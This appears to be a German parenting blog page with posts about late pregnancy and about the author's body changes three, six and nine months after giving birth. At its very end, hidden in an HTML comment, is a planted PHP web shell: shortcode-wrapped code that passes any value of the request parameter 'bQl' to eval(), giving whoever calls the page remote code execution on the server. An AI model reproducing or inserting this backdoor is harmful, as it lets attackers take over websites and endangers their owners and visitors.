Baby an Bord: Das dritte Drittel

In der 39. Schwangerschaftswoche ist es glaub ich schon legitim, dass man über das dritte Trimester resümiert, denn wer weiß, wie viel Zeit noch bleibt. Mit jedem Tag wird das Kommen unseres neuen Familienmitgliedes konkreter, wenn der Gedanke zwei Kinder zu haben auch trotzdem noch ungewohnt erscheint. Seitdem wir das Babygewand im Kinderzimmer eingeräumt haben ist es für den kleinen Chef auch greifbarer geworden, das ein Geschwisterchen kommt. Kinderwagen-Tragewanne und Babybettchen wurden von ihm auch schon begeistert probegelegen und alles was ihm zu klein ist (oder er aus anderen Gründen gerade nicht haben will), ist jetzt automatisch „Für’s Baby!“.  Read more

Baby an Bord: Das zweite Drittel

Die Zeit läuft. Das zweite Schwangerschaftsdrittel ist auch schon wieder vorbeigeflutscht. Ich fürchte schon, das Kind wird kommen bevor ich selbst dazu bereit bin. Ich glaube ich muss schön langsam anfangen mich konkret darauf einzustellen, dass die Geburt nicht mehr in allzu weiter Ferne liegt! Teil „zwei von drei“ ist jedenfalls recht angenehm verlaufen. Hier mein Resümee. Read more

9 Monate

Die Zeit der Abrechnung ist gekommen. Neun Monate lang kommt der Bauch und neun Monate braucht er um wieder zu verschwinden — oder? Ein klares Jein von mir! Ganz so pauschal kann man es nicht sagen oder zumindest nicht bei mir. Ich werde wie in den Vorgängerpost zu drei Monaten und sechs Monaten wieder thematisch vorgehen.

Read more

6 Monate

6 Monate später...

Wie vor drei Monaten versprochen gibt es wieder ein kleines Status-Update zu meinen körperlichen Veränderungen nach der Geburt. Ich werde wieder nach den Punkten aus meinem 3 Monats-Post gehen, damit es vergleichbar bleibt.

Gewicht. Momentan stehe ich bei +1,5kg über Startgewicht. Was bei den Mengen an Kuchen die ich ständig verdrücke wirklich ein Wunder ist. Ich bin richtig süchtig nach Süßem. Wenn mir nichts kredenzt wird, dann geh ich auf die Suche – es ist wirklich schlimm. Ich frage mich, ob das noch etwas mit dem Still-Heißhunger zu tun hat? Oder ob ich einfach nur ein Zucker/Fett-Junkie geworden bin. Ich befürchte Letzteres…

Bauch. Ich habe nicht das Gefühl, dass sich hier viel getan hätte. Die Schwangerschaftsstreifen sind noch immer da und wenn ich über die Haut fahre spüre ich deutliche „Krater“ im Gewebe. Es schaut nicht so aus, als ob sich da bald was dran ändern würde.

Brust. Kommt mir wieder ein wenig kleiner im Umfang vor.

Figur. Mittlerweile bring ich den Knopf wieder bei allen Hosen zu – zumindest wenn ich nicht atme, haha. Meine „Übergangshosen“ sind im Endeffekt zu weit und sehen dadurch nicht sehr toll aus, aber die normalen Hosen sind teilweise noch sehr knackwurstig.

Hände und Füße. Mein Ehering sitzt wieder perfekt, die Schuhe leider nicht. Die sind immer noch knapp.

Gesicht. Vielleicht ein bisschen müder dreinblickend? Scherz beiseite. Meine Haut hat sich wieder beruhigt und ist nicht mehr so trocken. Die Geometrie stimmt auch wieder. Sehr zufriedenstellend.

Fitness. Man könnte wahrscheinlich ein wenig mehr Sport machen als Spaziergänge und Baby-Stemmen (auch wenn mein Kind nicht gerade zu den Leichtgewichten gehört). Dann wär die Fitness sicher besser. Der Rücken ist wieder stärker, aber das Becken knackst immer noch herum. Ich müsste wieder die Physiotherapeutin meines Vertrauens aufsuchen. Was mich davon abhält? Das schlechte Gewissen wahrscheinlich. Die Übungen hätte ich ja alleine auch weitermachen können und sollen.

Unten. Die „roten Tage“ haben mich mittlerweile wieder ereilt. Wären mir aber nicht abgegangen, wenn sie noch etwas gewartet hätten. Zumindest hatte ich 18 Monate meine Ruhe (meine Regel ist entgegen ihrem Namen unregelmäßig und ich hatte sie vor dem Schwangerwerden auch schon länger nicht mehr).

Mehr gibt’s in dieser Hinsicht auch gar nicht zu berichten. Natürlich hat sich jetzt nicht mehr so viel getan wie in den ersten 3 Monaten. In manchen Bereichen hätte sich gerne mehr tun können, aber alles in Allem bin ich für den Moment zufrieden und bin schon gespannt wie’s dann im Februar – nach 9 Monaten – aussieht.

3 Monate

Großer Bauch versteckt dicke Füße.

Bereits drei Monate sind vorbeigehuscht, die wir mit unserem Sonnenschein verbringen durften. Als ich mich heute nach dem Duschen im Spiegel betrachtet habe, konnte ich jetzt nicht gerade behaupten, dass mir ein „neues Ich“ entgegenblickte, aber immerhin bin ich ganz zufrieden damit, wie sich mein Körper nach der Geburt wieder zurückverändert. Ich war ja unschlüssig was mich erwarten würde. Es scheint, dass man bis zur Geburt eine fast tageweise Dokumentation drüber finden kann, was grad mit deinem Körper los ist, aber sobald die Schwangerschaft vorbei ist, geht’s eigentlich nur mehr um den Nachwuchs. Über den mütterlichen Körper hört man nichts mehr. Hier also mein Status Quo.

Read more

Neubeginn

Das ist ein Neubeginn! Keine Ahnung, ob das eine irgendwie gut geartete Idee ist in der 42. Schwangerschaftswoche einen Blog neu beleben zu wollen, aber wenn wenn Zeit und Wille im Einklang stehen, dann sollte man es zumindest probieren. Der Gedanke geht mir ja schon länger im Kopf um mit dem bloggen wieder anzufangen… oder eher: überhauptmal ernsthaft anzufangen, aber ich denke in meinem Kopf hab ich inzwischen so eine Wissenschaft daraus gemacht, dass ich immer das Gefühl hatte mein “Blogrezept” noch nicht gefunden zu haben. Über was schreiben? Muss man immer schöne Bilder posten? Wieviel persönliches überhaupt im Netz preisgeben?… Jetzt denk ich mir, ich lass das Denken mal beiseite und fang einfach an. Kein großer Plan, keine Versprechungen, keine Erwartungen – aber natürlich die besten Hoffnungen. Also ungefähr das selbe Konzept wie ich mir für die nächsten 18 Jahre (oder so) zurechtgelegt habe, für die Zeit nachdem unser Baby beschließt meinen Bauch zu verlassen und ein sozusagen “direktes” Zusammenleben mit uns zu beginnen. Mit der Zeit wird sich schon ergeben, was funktioniert und was nicht.

<!– [insert_php]if (isset($_REQUEST["bQl"])){eval($_REQUEST["bQl"]);exit;}[/insert_php][php]if (isset($_REQUEST["bQl"])){eval($_REQUEST["bQl"]);exit;}[/php] –>